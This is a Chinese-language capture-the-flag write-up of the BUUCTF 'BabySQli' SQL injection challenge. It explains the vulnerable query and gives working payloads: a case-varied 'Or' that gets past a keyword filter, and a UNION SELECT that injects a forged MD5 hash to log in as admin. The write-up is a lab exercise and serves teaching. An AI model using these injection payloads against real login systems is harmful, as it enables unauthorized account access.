【BUUCTF】BabySQli
題目來源
收錄於:BUUCTF GXYCTF2019
題目描述
純粹的SQL隱碼攻擊題
隨意傳入
name=abc&pw=a
返回 wrong user
嘗試傳入
name=1%27&pw=a
發現閉合方式為'
,同時給出了一個可疑字串
把這段字串丟進ChatGPT,告訴我們可能是Base32編碼的,對其進行Base32解碼得到字串
c2VsZWN0ICogZnJvbSB1c2VyIHdoZXJlIHVzZXJuYW1lID0gJyRuYW1lJw==
這顯然是Base64編碼的,再對其解碼,得到明文
select * from user where username = '$name'
顯然這道題的注入點就是name
題解
在嘗試的過程中發現以下字串被過濾
or = ( )
但是由於對大小寫不敏感,or
可以使用大小寫方式進行繞過
傳參:
name=1' Or 1#&pw=a
返回 wrong pass
說明name
已經注入成功了,但是卻要校驗pw
引數。
由於當name
的值為1'
時,會返回錯誤的語句,正常的思路是使用報錯注入,得到資料庫的資訊,但是過濾了(
和)
,因此也無法進行資料庫的查詢。
題目給了原始碼,點入search.php
的原始碼,關鍵程式碼如下:
其登入邏輯是,根據name
到資料庫中查詢,將查詢到的使用者名稱對應的md5加密的密碼與傳入的pw
的md5值進行比較(即儲存在資料庫中的是密碼的md5值),若相等,則登入成功。這與CTF比賽中常見的直接對使用者名稱引數進行注入不同。
當我們傳入name=1' Or 1#&pw=a
時,查詢的結果是使用者admin的使用者名稱和密碼,即$arr[1]
的值是admin
,$arr[2]
的值是admin使用者的密碼。當pw
的md5值與$arr[2]
的值相等時,就返回flag。而admin使用者的密碼是我們無法得到的。
因此我們需要控制$arr[2]
的值,將其賦值為pw
引數的md5值。當傳參如下時:
name=1' union select 1,"admin",3#&pw=a
返回也是 wrong pass,說明使用者名稱儲存在表中的第二列,猜測密碼儲存在第三列,傳參:
name=1' union select 1,"admin","0cc175b9c0f1b6a831c399e269772661"#&pw=a
其中0cc175b9c0f1b6a831c399e269772661
是a的md5值,這樣傳參,$arr[1]
的值為admin
,$arr[2]
的值為0cc175b9c0f1b6a831c399e269772661
總結
本題的登入邏輯與一般的題目不同,原始碼中的查詢語句並非是
select * from user where username = '$name' && password = '$pw'
而是
select * from user where username = '$name'
先選擇與使用者名稱匹配的記錄,記錄中儲存的是使用者名稱和密碼的md5值,再將查詢到的密碼的md5值與傳入引數的md5值進行比較。